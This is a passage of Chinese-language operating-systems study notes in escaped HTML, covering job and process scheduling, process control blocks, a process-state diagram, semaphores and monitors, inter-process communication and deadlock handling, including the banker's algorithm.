align=\"center\"\u003e进入方式不同\u003c/td\u003e\u003ctd\u003e可以直接由调用过程转向被调用的过程\u003c/td\u003e\u003ctd\u003e由于调用过程与被调用过程是处于不同的状态,只能通过软中断机制进入系统核心态,然后转向相应的处理子程序\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e返回方式不同\u003c/td\u003e\u003ctd\u003e执行完后,直接返回调用过程继续执行\u003c/td\u003e\u003ctd\u003e在返回时需要进行一次重新的调度选择\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"toc_96\"\u003e作业管理\u003c/h3\u003e\u003ch4 id=\"toc_97\"\u003e作业\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e脱机作业\u003c/strong\u003e:用户不直接和计算机系统交互,其执行过程由操作员辅助完成。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e联机作业\u003c/strong\u003e:用户在作业执行过程中可直接和计算机系统交互(人机对话),控制执行的过程。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e处理过程\u003c/strong\u003e:输入、注册、调度、终止。\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_98\"\u003e作业的输入/输出\u003c/h4\u003e\u003col\u003e\u003cli\u003e脱机输入/输出(人工干预):输入输出机可以并行工作。\u003c/li\u003e\u003cli\u003e联机输入/输出\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eSPOOLing系统\u003c/strong\u003e(外围设备同时联机操作)\u003c/p\u003e\u003cul\u003e\u003cli\u003e兼具脱机和联机方式的优点, 可以实现联机方式下的主机和外围设备的同时工作,又称为假脱机,也即以联机的方式得到脱机的效果。\u003c/li\u003e\u003cli\u003e将一台物理 I/O 设备虚拟出多个 I/O 设备,通过缓冲区来实现多设备的并行工作。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_99\"\u003e作业注册\u003c/h4\u003e\u003cp\u003e作业控制块(JCB)\u003c/p\u003e\u003col\u003e\u003cli\u003e标识信息\u003c/li\u003e\u003cli\u003e状态信息\u003c/li\u003e\u003cli\u003e调度参数\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_100\"\u003e作业调度\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e单道批处理系统作业调度\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e先来先服务调度算法(FCFS, First Come First Served)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e最短作业优先调度算法\u003c/strong\u003e(SJF, Shortest Job First)\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e最高响应比优先调度算法\u003c/strong\u003e(HRP, Highest Ratio Priority)\u003c/p\u003e\u003col\u003e\u003cli\u003e响应比即优先级\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e响应比\u003c/strong\u003e:作业响应时间 / 作业运行时间\u003c/p\u003e\u003cul\u003e\u003cli\u003e即 (作业等待时间 + 作业运行时间) / 作业运行时间\u003c/li\u003e\u003cli\u003e即 1 + (作业等待时间 / 作业运行时间)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e多道批处理系统作业调度算法\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e一次可以选择多个作业同时执行(并发)。\u003c/li\u003e\u003cli\u003e优先级调度算法\u003c/li\u003e\u003cli\u003e均衡调度算法:分类和轮流服务。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e性能分析\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003eCPU 利用率\u003c/li\u003e\u003cli\u003e吞吐量:单位时间内CPU完成作业的数量。(SJF 擅长)\u003c/li\u003e\u003cli\u003e周转时间:$T_i=T_\\text{完成}-T_\\text{提交}$\u003c/li\u003e\u003cli\u003e周转系数:$W_i=\\frac{T_i}{T_\\text{执行}}$\u003c/li\u003e\u003cli\u003e平均周转时间:$T=\\frac{T_1+T_2+\\cdots+T_n}{n}=\\frac{1}{n}\\sum_{i=1}^{n}T_i$\u003c/li\u003e\u003cli\u003e平均周转系数:$W=\\frac{W_1+W_2+\\cdots+W_n}{n}=\\frac{1}{n}\\sum_{i=1}^{n}W_i$\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_101\"\u003e进程管理\u003c/h2\u003e\u003ch3 id=\"toc_102\"\u003e进程\u003c/h3\u003e\u003col\u003e\u003cli\u003e进程是程序的一次执行,该进程可与其它进程并发执行;它 是一个动态的实体,是资源的基本分配单元。\u003c/li\u003e\u003cli\u003e\u003cp\u003e与程序的区别和联系\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e区别\u003c/p\u003e\u003col\u003e\u003cli\u003e程序是静态的,是有序代码的集合;进程是动态的,是程序的一次执行。\u003c/li\u003e\u003cli\u003e程序的永久的,没有生命周期,可长久保存;进程是暂时的,有生命周期,是一个动态不断变化的过程。\u003c/li\u003e\u003cli\u003e进程是操作系统资源分配和保护的基本单位;程序没有此功能。\u003c/li\u003e\u003cli\u003e进程与程序的结构不同。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e联系\u003c/p\u003e\u003col\u003e\u003cli\u003e通过多次执行,一个程序可对应多个进程;\u003c/li\u003e\u003cli\u003e通过调用关系,一个进程可包括多个程序。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e组成(内存映像)\u003c/p\u003e\u003cul\u003e\u003cli\u003ePCB\u003c/li\u003e\u003cli\u003e程序\u003c/li\u003e\u003cli\u003e数据\u003c/li\u003e\u003cli\u003e工作区\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_103\"\u003e进程控制块(PCB)\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e定义\u003c/strong\u003e:是操作系统用来记录进程详细状态和相关信息的基本数据结构,它和进程是一一对应的,是进程存在的\u003cstrong\u003e唯一标识\u003c/strong\u003e。\u003c/li\u003e\u003cli\u003e\u003cp\u003e作用\u003c/p\u003e\u003col\u003e\u003cli\u003e提供进程的各种信息,以便操作系统查询、控制和管理。\u003c/li\u003e\u003cli\u003e进程的档案,描述进程的特征,记载进程的历史,决定进程的命运。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e结构\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e标识信息\u003c/strong\u003e:唯一的标识一个进程,主要包含进程标识、用户标识、父进程标识。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e现场信息\u003c/strong\u003e:记录进程使用处理器时的各种现场信息。主要有 CPU 通用寄存器的内容、CPU 状态寄存器内容及栈指针等信息。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e控制信息\u003c/strong\u003e:操作系统对进程进行调度管理时用到的信息,主要有进程状态、调度信息、数据结构信息、队列指针、位置信息、通信信息、特权信息、存储信息等。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e进程控制块PCB在内存中是以\u003cstrong\u003e表\u003c/strong\u003e的形式存在的,操作系统对PCB进行集中统一的管理,所有的 PCB 集中在一个固定的存储空间上,形成了PCB表。PCB之间是以\u003cstrong\u003e双向链式队列\u003c/strong\u003e的形式关联的。\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_104\"\u003e进程的产生与消失\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e进程的产生\u003c/p\u003e\u003col\u003e\u003cli\u003e系统初始化\u003c/li\u003e\u003cli\u003e用户执行程序(命令,双击)\u003c/li\u003e\u003cli\u003e程序启动程序(子进程)\u003c/li\u003e\u003cli\u003e批处理系统:作业初始化\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e进程的消失\u003c/p\u003e\u003col\u003e\u003cli\u003e寿终:运行结束而退出\u003c/li\u003e\u003cli\u003e自杀:因错误而自行终止\u003c/li\u003e\u003cli\u003e他杀:被其他进程/用户强行终止\u003c/li\u003e\u003cli\u003e处决:因异常而被系统强行终结\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_105\"\u003e进程的执行与控制\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e进程的基本状态及其转换\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\" width=\"371px\" height=\"151px\" viewBox=\"-0.5 -0.5 371 151\" content=\"\u0026lt;mxfile host=\u0026quot;Electron\u0026quot; modified=\u0026quot;2022-06-21T12:44:46.997Z\u0026quot; agent=\u0026quot;5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) draw.io/19.0.3 Chrome/102.0.5005.63 Electron/19.0.3 Safari/537.36\u0026quot; etag=\u0026quot;Yg1sfU7PX2SbWQaWiSSG\u0026quot; version=\u0026quot;19.0.3\u0026quot; type=\u0026quot;device\u0026quot;\u0026gt;\u0026lt;diagram id=\u0026quot;z0JrxFd6R5Qa72TInH-X\u0026quot; name=\u0026quot;第 1 页\u0026quot;\u0026gt;3VlLc6M4EP41OjoFCIM4Cj9mtipTla0cMpkbMTJmCiOvkGN7fv2qhXgZ7PFsnMS1l0RqtVpI/XV/LRnhyXr/RUSb1Tcesww5VrxHeIocxx1b6i8IDqXACexSkIg0LkUtwWP6ixmhmZds05gVHUXJeSbTTVe44HnOFrIji4Tgu67akmfdVTdRwnqCx0WU9aVPaSxXZlseaQ18ZWmyMktjbJkvX0eVthEUqyjmu5YIzxCeCM5l2VrvJyyDw6sOppw3PzFaf4BgubxkgsR/O2u6368Or/ghjL4tv7h0ZBszhTxUW2axOgHTzXmu/oWCb/OYgR1L9biQK57wPMruOd8ooa2EP5mUB+O/aCu5Eq3kOjOjbJ/K7zD9zh+b7rOxBu3pvt05VJ1cisP3due5ZQL6zTzdqyYueS7Np9jQL2QkJAU0NFvSsnmaZbWFuNLgG5aXkta4Uk+YfGAiXTPJxOMmWqR5YgbLM4SDO+mb6pz5ViyMVsh/cPG02xVPf8UFy51Z8WM+cgzI9XJn9HCNIBV6jKuPEgc1T7Askulr9zsiEwRJrdfARDUMUv4ENbg0/BplW7MUmvmIThEJ0GyMwhkiY5AEFBEXzQgKx7rhoZCiwAIdMkd0rnVcRAlyvExtN3wRqpVA66xBF+yQUDdCFHqgQ5XOBJYgBJYYgvV99KLSUweZUZYmytvThfIUE0rwyoRMVQKgZuCFS8nXEASsSH9FL9oeOH3D01zqkx2HaDwdwF0Gyz3wIpUpH1zj/khBQjipaJOREWDHruEFk9h+KOuZj2pSTRt4Z8K+Dx9j3rqzsGOQeDGijLUHOJaWCl8uC4XkY8jVi16EwnOh0gFhgAICkAA82CiY9WDQpDI42d0qlQxiGUZ3isGOwCEWxp/j47zi1X4ZiPKeq06etFsRneFHXLlw17CNb0SrFs+41juFtnPmxN6Y/Kt2mcUrHhjO/WfT7VGupsUhX/QS9mVJv2KYu5pTnttjJwjmivkeX5jv3Tfm+6PoNPDzgy78ergyfihnvSmEB9E2wCOGCIpNlHdw6P2zhUpJB+Go0FijSsG2NnvtkWq84Q8PBb7mhkA3XOAPRSfEb1inpg2zqtpEubCx0WKlt3zK9fZEEHUQLTcX6j0F0FVJD6hwohtj4EpFgmqXiiWpr/l3DvpAqUTzpmJJCqZAeYqodfIAPp9F23RI/jurXp9End9xqIudTnTZt86oQ2WdKr4sFNoaTSGi9NYZdewdpTT7kxnV/+AbFnb8FtGOFA6tSjDMtVe4Lg1T8HkSV59QD12fV9+HLz38uXxJBgK0n9wJhCzBOnZVlveulsXN/eT9L0INXRwl/+tncf9sNlHhY2PX7Th9dEt5fPh6N3z9fbec8weFfV1y291Hnf/zm457YY1/oqD4oDedoev00BNMiPUFW5cDwVxXkCrt6DKb6Gqy/9wz8LjTf8EpDWJd2k7B8g3UnjdTa9rWMDaaYtMj+IbS0rk46CDMA3iVdxRq65vYbZeX/sc92Khu8+tA6YPmNxY8+xc=\u0026lt;/diagram\u0026gt;\u0026lt;/mxfile\u0026gt;\" style=\"background-color: rgb(255, 255, 255);\"\u003e\u003cdefs/\u003e\u003cg\u003e\u003cpath d=\"M 52.5 110 L 148.27 31.42\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 145.94 37.86 L 149.14 30.71 L 141.5 32.44\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)rotate(321 101.53058412584721 66.50718590898293)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe flex-end; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 67px; margin-left: 102px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 10px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; background-color: rgb(255, 255, 255); white-space: nowrap;\"\u003e等待的资源可用\u003cbr /\u003e等待的事件完成\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"102\" y=\"67\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"10px\" text-anchor=\"middle\"\u003e等待的资源可用\u0026#xa;等待的事件完成\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003crect x=\"0\" y=\"110\" width=\"70\" height=\"40\" rx=\"20\" ry=\"20\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 130px; margin-left: 1px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 16px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e阻塞\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"35\" y=\"135\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"16px\" text-anchor=\"middle\"\u003e阻塞\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 220 20 L 335 110\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 335 110 L 331.64 102.93\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)rotate(38 282.3581231936787 64.32711195558534)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe flex-end; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 64px; margin-left: 282px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 10px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; background-color: rgb(255, 255, 255); white-space: nowrap;\"\u003e\u003cspan style=\"font-size: 10px;\"\u003e时间片用完\u003c/span\u003e\u003cbr style=\"font-size: 10px;\" /\u003e\u003cspan style=\"font-size: 10px;\"\u003e被更高优先级进程抢占\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"282\" y=\"64\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"10px\" text-anchor=\"middle\"\u003e时间片用完\u0026#xa;被更高优先级进程抢占\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003crect x=\"150\" y=\"0\" width=\"70\" height=\"40\" rx=\"20\" ry=\"20\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 20px; margin-left: 151px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 16px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e就绪\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"185\" y=\"25\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"16px\" text-anchor=\"middle\"\u003e就绪\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 322.89 109.72 L 220 30\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 220 30 L 223.39 37.05\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)rotate(38 274.9625420590812 80.17680624533784)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe flex-start; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 80px; margin-left: 275px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 10px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; background-color: rgb(255, 255, 255); white-space: nowrap;\"\u003e进程调度\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"275\" y=\"90\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"10px\" text-anchor=\"middle\"\u003e进程调度\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 300 130 L 72.24 130\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 78.12 126.5 L 71.12 130 L 78.12 133.5\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe flex-end; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 127px; margin-left: 177px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 10px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; background-color: rgb(255, 255, 255); white-space: nowrap;\"\u003e等待系统分配资源\u003cbr /\u003e事件结束\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"177\" y=\"127\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"10px\" text-anchor=\"middle\"\u003e等待系统分配资源\u0026#xa;事件结束\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003crect x=\"300\" y=\"110\" width=\"70\" height=\"40\" rx=\"20\" ry=\"20\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 130px; margin-left: 301px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 16px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e执行\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"335\" y=\"135\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"16px\" text-anchor=\"middle\"\u003e执行\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003c/g\u003e\u003cswitch\u003e\u003cg requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\"/\u003e\u003ca transform=\"translate(0,-5)\" xlink:href=\"https://www.diagrams.net/doc/faq/svg-export-text-problems\" target=\"_blank\"\u003e\u003ctext text-anchor=\"middle\" font-size=\"10px\" x=\"50%\" y=\"100%\"\u003eText is not SVG - cannot display\u003c/text\u003e\u003c/a\u003e\u003c/switch\u003e\u003c/svg\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e进程控制\u003c/p\u003e\u003cul\u003e\u003cli\u003e系统对进程的控制和管理是通过操作系统内核中的原语实现的。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_106\"\u003e进程调度\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e交互式系统(分时系统)下的调度策略\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e时间片轮转法\u003c/strong\u003e(RR, Round Robin)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e优先级调度算法\u003c/strong\u003e:为系统中的每个进程规定一个优先数,就绪队列中具有最高优先数的进程有优先获得处理机的权利;如果几个进程的优先数相同,可则对它们实行 RR 调度策略。\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e多级反馈队列调度算法\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e系统中维持多个不同优先级的就绪队列,每个就绪队列具有不同长度的时间片。\u003c/li\u003e\u003cli\u003e优先级高的就绪队列里的进程,获得的时间片短;优先级低的就绪队列里的进程,获得的时间片长。\u003c/li\u003e\u003cli\u003e新进程进入时加入优先级最高的就绪队列的末尾。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_107\"\u003e进程间的相互作用\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e两种相互作用\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e同步\u003c/strong\u003e:进程之间相互合作、协同工作的关系称为进程的同步。(直接制约)\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e互斥\u003c/strong\u003e:多个进程因为争夺临界资源而相互排斥执行的过程。(间接制约)\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e临界资源\u003c/strong\u003e:也称独占资源,是指 在一段时间内只允许一个进程访问的资源。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e临界区\u003c/strong\u003e:使用临界资源的程序段。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e实现同步与互斥\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e加锁法\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e信号量和 P、V 操作\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e信号量\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e公用信号量\u003c/strong\u003e:用于进程间的互斥,初值通常为 1;\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e私有信号量\u003c/strong\u003e:用于进程间的同步,初值通常为 0 或 n。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eP 操作\u003c/strong\u003e:请求分配一个单位的资源。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eV 操作\u003c/strong\u003e:释放/增加一个单位的资源。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e管程\u003c/p\u003e\u003col\u003e\u003cli\u003e关于共享资源的一组数据结构和在这组数据结构上的一组相关操作。\u003c/li\u003e\u003cli\u003e\u003cp\u003e工作原理\u003c/p\u003e\u003col\u003e\u003cli\u003e条件变量(c)\u003c/li\u003e\u003cli\u003e\u003ccode\u003ewait(c)\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003esignal(c)\u003c/code\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_108\"\u003e进程通信\u003c/h3\u003e\u003col\u003e\u003cli\u003e共享内存\u003c/li\u003e\u003cli\u003e消息传递\u003c/li\u003e\u003cli\u003e共享文件模式:管道(pipe)\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_109\"\u003e死锁\u003c/h2\u003e\u003ch3 id=\"toc_110\"\u003e死锁产生的必要条件\u003c/h3\u003e\u003col\u003e\u003cli\u003e互斥使用(资源独占)\u003c/li\u003e\u003cli\u003e非剥夺控制(不可强占)\u003c/li\u003e\u003cli\u003e零散请求\u003c/li\u003e\u003cli\u003e循环等待\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_111\"\u003e死锁的解决策略\u003c/h3\u003e\u003col\u003e\u003cli\u003e置之不理法:鸵鸟政策\u003c/li\u003e\u003cli\u003e事后处理法:让死锁发生,事后处理\u003c/li\u003e\u003cli\u003e积极防御法:不让死锁发生\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_112\"\u003e死锁的预防\u003c/h3\u003e\u003cp\u003e即破坏必要条件。\u003c/p\u003e\u003ch3 id=\"toc_113\"\u003e死锁的避免\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e允许死锁产生的条件存在。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e安全状态\u003c/strong\u003e:在这种状态下,存在一种资源分配顺序,使得所有进程顺利完成。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e单银行家算法\u003c/strong\u003e:满足最大需求后释放所有资源。\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e多银行家算法\u003c/strong\u003e:多个资源的单银行家算法。\u003c/p\u003e\u003col\u003e\u003cli\u003esum 向量:系统资源总量\u003c/li\u003e\u003cli\u003eallocation 向量:当前系统已分配资源\u003c/li\u003e\u003cli\u003eavailable 向量:系统剩余资源\u003c/li\u003e\u003cli\u003esum(i):第 i 个进程资源需求总量\u003c/li\u003e\u003cli\u003eallocation(i):第 i 个进程已分配资源总量\u003c/li\u003e\u003cli\u003eclaim(i):第 i 